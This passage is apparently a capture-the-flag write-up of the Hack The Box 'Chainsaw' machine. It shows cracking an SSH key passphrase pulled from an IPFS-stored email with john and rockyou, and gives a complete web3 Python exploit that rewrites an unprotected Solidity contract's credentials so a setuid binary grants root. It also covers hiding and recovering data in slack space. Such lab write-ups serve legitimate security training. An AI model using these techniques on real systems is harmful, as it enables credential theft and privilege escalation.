QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp 10084 bryanconnerty600-protonmail-2018-12-13T20_50_36+01_00.eml

QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 10083 laraaxelrod600-protonmail-2018-12-13T20_49_35+01_00.eml

QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me 10092 wendyrhoades600-protonmail-2018-12-13T20_50_15+01_00.eml

administrator@chainsaw:/home/administrator$



We’re interested in bobby ‘s file so I used ipfs get to get it:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

administrator@chainsaw:/home/administrator$ ipfs get QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF

Saving file(s) to QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF

4.53 KiB / 4.53 KiB 100.00% 0s

administrator@chainsaw:/home/administrator$ ls -al

total 112

drwxr-x--- 8 administrator administrator 4096 Nov 22 19:50 .

drwxr-xr-x 4 root root 4096 Dec 12 2018 ..

lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null

-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout

-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc

-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv

drwxrwxr-x 5 administrator administrator 4096 Nov 22 19:50 .ipfs

drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local

drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain

drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2

-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile

-rw-r--r-- 1 administrator administrator 4629 Nov 22 19:50 QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF

drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh

drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt

-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf

-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump

lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null

-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc

administrator@chainsaw:/home/administrator$



The email had his encrypted ssh key as an attachment:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

administrator@chainsaw:/home/administrator$ cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF

X-Pm-Origin: internal

X-Pm-Content-Encryption: end-to-end

Subject: Ubuntu Server Private RSA Key

From: IT Department <chainsaw_admin@protonmail.ch>

Date: Thu, 13 Dec 2018 19:28:54 +0000

Mime-Version: 1.0

Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93

To: bobbyaxelrod600@protonmail.ch <bobbyaxelrod600@protonmail.ch>

X-Attached: bobby.key.enc

Message-Id: <zctvLwVo5mWy8NaBt3CLKmxVckb-cX7OCfxUYfHsU2af1NH4krcpgGz7h-PorsytjrT3sA9Ju8WNuWaRAnbE0CY0nIk2WmuwOvOnmRhHPoU=@protonmail.ch>

Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500

X-Original-To: bobbyaxelrod600@protonmail.ch

Return-Path: <chainsaw_admin@protonmail.ch>

Delivered-To: bobbyaxelrod600@protonmail.ch

-----------------------d296272d7cb599bff2a1ddf6d6374d93

Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451

-----------------------ffced83f318ffbd54e80374f045d2451

Content-Type: text/html;charset=utf-8

Content-Transfer-Encoding: base64



PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp

cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM

aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl

IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs

IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs

eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo

ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl

YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg

YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48

YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g

RGVwYXJ0bWVudDxicj48L2Rpdj4=

-----------------------ffced83f318ffbd54e80374f045d2451--

-----------------------d296272d7cb599bff2a1ddf6d6374d93

Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"



LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF

Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJM

RUVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0

dG5ySWo2bWRCYjZybk42Q3NQMHZiejlOelJCeWcxbzZjU0dkckwyRW1KTi9lU3hENEFXTGN6Cm4z

MkZQWTBWamxJVnJoNHJqaFJlMndQTm9nQWNpQ0htWkdFQjB0Z3YyL2V5eEU2M1ZjUnpyeEpDWWwr

aHZTWjYKZnZzU1g4QTRRcjdyYmY5Zm56NFBJbUlndXJGM1ZoUW1kbEVtekRSVDRtL3BxZjNUbUdB

azkrd3JpcW5rT0RGUQpJKzJJMWNQYjhKUmhMU3ozcHlCM1gvdUdPVG5ZcDRhRXErQVFaMnZFSnoz

RmZYOVNYOWs3ZGQ2S2FadFNBenFpCnc5ODFFUzg1RGs5TlVvOHVMeG5aQXczc0Y3UHo0RXVKMEhw

bzFlWmdZdEt6dkRLcnJ3OHVvNFJDYWR4N0tIUlQKaW5LWGR1SHpuR0ExUVJPelpXN3hFM0hFTDN2

eFI5Z01WOGdKUkhEWkRNSTl4bHc5OVFWd2N4UGNGYTMxQXpWMgp5cDNxN3lsOTU0U0NNT3RpNFJD

M1o0eVVUakRrSGRIUW9FY0dpZUZPV1UraTFvaWo0Y3J4MUxiTzJMdDhuSEs2CkcxQ2NxN2lPb240

UnNUUmxWcnY4bGlJR3J4bmhPWTI5NWU5ZHJsN0JYUHBKcmJ3c284eHhIbFQzMzMzWVU5ZGoKaFFM

TnA1KzJINCtpNm1tVTN0Mm9nVG9QNHNrVmNvcURsQ0MrajZoRE9sNGJwRDl0NlRJSnVyV3htcEdn

TnhlcwpxOE5zQWVudGJzRCt4bDRXNnE1bXVMSlFtai94UXJySGFjRVpER0k4a1d2WkUxaUZtVmtE

L3hCUm53b0daNWh0CkR5aWxMUHBsOVIrRGg3YnkzbFBtOGtmOHRRbkhzcXBSSGNleUJGRnBucTBB

VWRFS2ttMUxSTUxBUFlJTGJsS0cKandyQ3FSdkJLUk1JbDZ0SmlEODdOTTZKQm9ReWRPRWNwbis2

RFUrMkFjdGVqYnVyMGFNNzRJeWVlbnJHS1NTWgpJWk1zZDJrVFNHVXh5OW8veFBLRGtVdy9TRlV5

U21td2lxaUZMNlBhRGd4V1F3SHh0eHZtSE1oTDZjaXROZEl3ClRjT1RTSmN6bVIycEp4a29oTHJI

N1lyUzJhbEtzTTBGcEZ3bWR6MS9YRFNGMkQ3aWJmL1cxbUF4TDVVbUVxTzAKaFVJdVcxZFJGd0hq

TnZhb1NrK2ZyQXA2aWM2SVBZU21kbzhHWVl5OHBYdmNxd2ZScHhZbEFDWnU0RmlpNmhZaQo0V3Bo

VDNaRllEcnc3U3RnSzA0a2JEN1FrUGVOcTlFdjFJbjJuVmR6RkhQSWg2eitmbXBiZ2ZXZ2VsTEhj

MmV0ClNKWTQrNUNFYmtBY1lFVW5QV1k5U1BPSjdxZVU3K2IvZXF6aEtia3BuYmxtaUsxZjNyZU9N

MllVS3k4YWFsZWgKbkpZbWttcjN0M3FHUnpoQUVUY2tjOEhMRTExZEdFK2w0YmE2V0JOdTE1R29F

V0Fzenp0TXVJVjFlbW50OTdvTQpJbW5mb250T1lkd0I2LzJvQ3V5SlRpZjhWdy9XdFdxWk5icGV5

OTcwNGE5bWFwLytiRHFlUVE0MStCOEFDRGJLCldvdnNneVdpL1VwaU1UNm02clgrRlA1RDVFOHpy

WXRubm1xSW83dnhIcXRCV1V4amFoQ2RuQnJrWUZ6bDZLV1IKZ0Z6eDNlVGF0bFpXeXI0a3N2Rm10

b2JZa1pWQVFQQUJXeitnSHB1S2xycWhDOUFOenIvSm4rNVpmRzAybW9GLwplZEwxYnA5SFBSSTQ3

RHl2THd6VDEvNUw5Wno2WSsxTXplbmRUaTNLcnpRL1ljZnI1WUFSdll5TUxiTGpNRXRQClV2SmlZ

NDB1Mm5tVmI2UXFwaXkyenIvYU1saHB1cFpQay94dDhvS2hLQytsOW1nT1RzQVhZakNiVG1MWHpW

clgKMTVVMjEwQmR4RUZVRGNpeE5pd1Rwb0JTNk1meENPWndOLzFadjBtRThFQ0krNDRMY3FWdDN3

PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0=

-----------------------d296272d7cb599bff2a1ddf6d6374d93--

administrator@chainsaw:/home/administrator$



I copied it to my box:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

root@kali:~/Desktop/HTB/boxes/chainsaw# nano bobby.key.enc.b64

root@kali:~/Desktop/HTB/boxes/chainsaw# base64 -d bobby.key.enc.b64 > bobby.key.enc

root@kali:~/Desktop/HTB/boxes/chainsaw# cat bobby.key.enc

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4,ENCRYPTED

DEK-Info: DES-EDE3-CBC,53D881F299BA8503



SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk

7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz

n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6

fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ

I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi

w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT

inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2

yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6

G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj

hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes

q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht

DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG

jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ

IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw

TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0

hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi

4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et

SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh

nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM

ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK

WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR

gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/

edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP

UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX

15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w==

root@kali:~/Desktop/HTB/boxes/chainsaw#



I used ssh2john.py to get the hash of the key in john format then I used john with rockyou.txt to crack it:

1

2

3

4

5

6

7

8

9

10

11

12

13

root@kali:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash

root@kali:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash

Using default input encoding: UTF-8

Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])

Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes

Cost 2 (iteration count) is 2 for all loaded hashes

Note: This format may emit false positives, so it will keep trying even after

finding a possible candidate.

Press 'q' or Ctrl-C to abort, almost any other key for status

jackychain (./bobby.key.enc)

1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7¡Vamos!

Session completed

root@kali:~/Desktop/HTB/boxes/chainsaw#



Password: jackychain , let’s ssh into the box as bobby :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

root@kali:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc

root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc bobby@chainsaw.htb

Enter passphrase for key 'bobby.key.enc':

bobby@chainsaw:~$ whoami

bobby

bobby@chainsaw:~$ id

uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)

bobby@chainsaw:~$ ls -la

total 52

drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .

drwxr-xr-x 4 root root 4096 Dec 12 2018 ..

lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null

-rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout

-rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc

drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache

drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg

drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java

drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local

-rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile

drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects

drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources

drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh

-r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt

-rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts

bobby@chainsaw:~$





We owned user.

ChainsawClub: Analysis

In bobby ‘s home directory there was a directory called projects which had a project called ChainsawClub , Inside that directory there was another smart contract:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

bobby@chainsaw:~$ cd projects/

bobby@chainsaw:~/projects$ ls -al

total 12

drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .

drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 ..

drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub

bobby@chainsaw:~/projects$ cd ChainsawClub/

bobby@chainsaw:~/projects/ChainsawClub$ ls -al

total 156

drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 .

drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 ..

-rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt

-rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub

-rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json

-rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol

bobby@chainsaw:~/projects/ChainsawClub$



ChainsawClub.sol :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

pragma solidity ^ 0.4 .22 ;



contract ChainsawClub {



string username = 'nobody' ;

string password = '7b455ca1ffcb9f3828cfdde4a396139e' ;

bool approve = false ;

uint totalSupply = 1000 ;

uint userBalance = 0 ;



function getUsername () public view returns (string) {

return username;

}

function setUsername (string _value) public {

username = _value;

}

function getPassword () public view returns (string) {

return password;

}

function setPassword (string _value) public {

password = _value;

}

function getApprove () public view returns (bool) {

return approve;

}

function setApprove (bool _value) public {

approve = _value;

}

function getSupply () public view returns (uint) {

return totalSupply;

}

function getBalance () public view returns (uint) {

return userBalance;

}

function transfer (uint _value) public {

if (_value > 0 && _value <= totalSupply) {

totalSupply -= _value;

userBalance += _value;

}

}

function reset () public {

username = '' ;

password = '' ;

userBalance = 0 ;

totalSupply = 1000 ;

approve = false ;

}

}



There was also a setuid elf executable called ChainsawClub :

1

2

3

bobby@chainsaw:~/projects/ChainsawClub$ file ChainsawClub

ChainsawClub: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08b87cf44d6a671b91bc55f6e1f53c7ee083a417, not stripped

bobby@chainsaw:~/projects/ChainsawClub$



When executed it prints a note saying “Please sign up first and then log in!”, then it asks for credentials:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub



_ _

| | (_)

___| |__ __ _ _ _ __ ___ __ ___ __

/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /

| (__| | | | (_| | | | | \__ \ (_| |\ V V /

\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/

club



- Total supply: 1000

- 1 CHC = 51.08 EUR

- Market cap: 51080 (€)



[*] Please sign up first and then log in!

[*] Entry based on merit.



Username:

Password:

[*] Wrong credentials!

^C

bobby@chainsaw:~/projects/ChainsawClub$



Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract.

We’ll use:

setUsername() to set the username

setPassword() to set the password, it has to be md5 hashed as we saw:

1

string password = '7b455ca1ffcb9f3828cfdde4a396139e' ;



setApprove() to change approve from false to true

transfer() to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply and we can’t transfer more than that:

1

2

3

4

5

6

function transfer (uint _value) public {

if (_value > 0 && _value <= totalSupply) {

totalSupply -= _value;

userBalance += _value;

}

}



Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.

ChainsawClub: Exploitation

I used netstat to list the open ports, 63991 was open and listening on localhost only so I assumed that it’s the port on which the contract is deployed:

1

2

3

4

5

6

7

8

9

10

11

12

bobby@chainsaw:~/projects/ChainsawClub$ netstat -ntlp

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -

tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN -

tcp6 0 0 :::21 :::* LISTEN -

tcp6 0 0 :::22 :::* LISTEN -

bobby@chainsaw:~/projects/ChainsawClub$



I got the ABI of the contract like I did before:



And we have the address of the contract in address.txt

I wrote the exploit and forwarded the port to my box:

1

2

3

root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc bobby@chainsaw.htb

Enter passphrase for key 'bobby.key.enc':

bobby@chainsaw:~$



The exploit is similar to the first one.

ChainsawClubExploit.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44



import json

from web3 import Web3, eth

from sys import argv

from hashlib import md5



YELLOW = "\033[93m"

GREEN = "\033[32m"



def exploit (address, username, password, passhash) :

print(YELLOW + "[+] Starting" )

print(YELLOW + "[+] Connecting to localhost:63991" )

w3 = Web3(Web3.HTTPProvider( 'http://localhost:63991' ))

print(GREEN + "[*] Connection Established" )

w3.eth.defaultAccount = w3.eth.accounts[ 0 ]

print(YELLOW + "[+] Creating the contract representation" )

print(YELLOW + "[+] Address: {}" .format(address))

abi = json.loads( '[ { "constant": true, "inputs": [], "name": "getBalance", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setPassword", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getUsername", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getApprove", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "bool" } ], "name": "setApprove", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getPassword", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "reset", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setUsername", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]' )

contract = w3.eth.contract(address=address, abi=abi)

print(GREEN + "[*] Done" )

print(YELLOW + "[+] Calling setUsername() with: {}" .format(username))

contract.functions.setUsername(username).transact()

print(GREEN + "[*] Done. getUsername(): " + contract.functions.getUsername().call())

print(YELLOW + "[+] Calling setPassword() with: {} ({})" .format(passhash, password))

contract.functions.setPassword(passhash).transact()

print(GREEN + "[*] Done. getPassword(): " + contract.functions.getPassword().call())

print(YELLOW + "[+] Calling setApprove() with: True" )

contract.functions.setApprove( True ).transact()

print(GREEN + "[*] Done. getApprove(): " + str(contract.functions.getApprove().call()))

print(YELLOW + "[+] Calling transfer() with: 1000" )

contract.functions.transfer( 1000 ).transact()

print(GREEN + "[*] Done. getBalance(): " + str(contract.functions.getBalance().call()))

print(GREEN + "[+] Exploit finished. Now you can login with the provided credentials: {}:{}, Exiting..." .format(username,password))

exit()



if len(argv) != 4 :

print(YELLOW + "[!] Usage: {} [contract address] [username] [password]" .format(argv[ 0 ]))

exit()

else :

address = argv[ 1 ]

username = argv[ 2 ]

password = argv[ 3 ]

passhash = md5(password.encode( 'utf-8' )).hexdigest()

exploit(address, username, password, passhash)



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

root@kali:~/Desktop/HTB/boxes/chainsaw# ./ChainsawClubExploit.py 0xE6384BBbBb7C30C4Af2287872179296d46d863bE rick pwn3d

[+] Starting

[+] Connecting to localhost:63991

[*] Connection Established

[+] Creating the contract representation

[+] Address: 0xE6384BBbBb7C30C4Af2287872179296d46d863bE

[*] Done

[+] Calling setUsername() with: rick

[*] Done. getUsername(): rick

[+] Calling setPassword() with: b2f3d1e0efcb5d60e259a34ecbbdbe00 (pwn3d)

[*] Done. getPassword(): b2f3d1e0efcb5d60e259a34ecbbdbe00

[+] Calling setApprove() with: True

[*] Done. getApprove(): True

[+] Calling transfer() with: 1000

[*] Done. getBalance(): 1000

[+] Exploit finished. Now you can login with the provided credentials: rick:pwn3d, Exiting...

root@kali:~/Desktop/HTB/boxes/chainsaw#



After authenticating I got a root shell:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub



_ _

| | (_)

___| |__ __ _ _ _ __ ___ __ ___ __

/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /

| (__| | | | (_| | | | | \__ \ (_| |\ V V /

\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/

club



- Total supply: 1000

- 1 CHC = 51.08 EUR

- Market cap: 51080 (€)



[*] Please sign up first and then log in!

[*] Entry based on merit.



Username: rick

Password:



************************

* Welcome to the club! *

************************



Rule #1: Do not get excited too fast.



root@chainsaw:/home/bobby/projects/ChainsawClub#

root@chainsaw:/home/bobby/projects/ChainsawClub# whoami

root

root@chainsaw:/home/bobby/projects/ChainsawClub# id

uid=0(root) gid=0(root) groups=0(root)

root@chainsaw:/home/bobby/projects/ChainsawClub#



However the root flag wasn’t there:



Slack Space –> Root Flag

root.txt size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes ( 4096 - 52 ) which is called “slack space”. (Check this page, and this one).

Slack space can be used to hide data, which was the case here with the root flag. I used bmap :

1

bmap --mode slack root.txt --verbose





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Networked

Next Hack The Box write-up : Hack The Box - Heist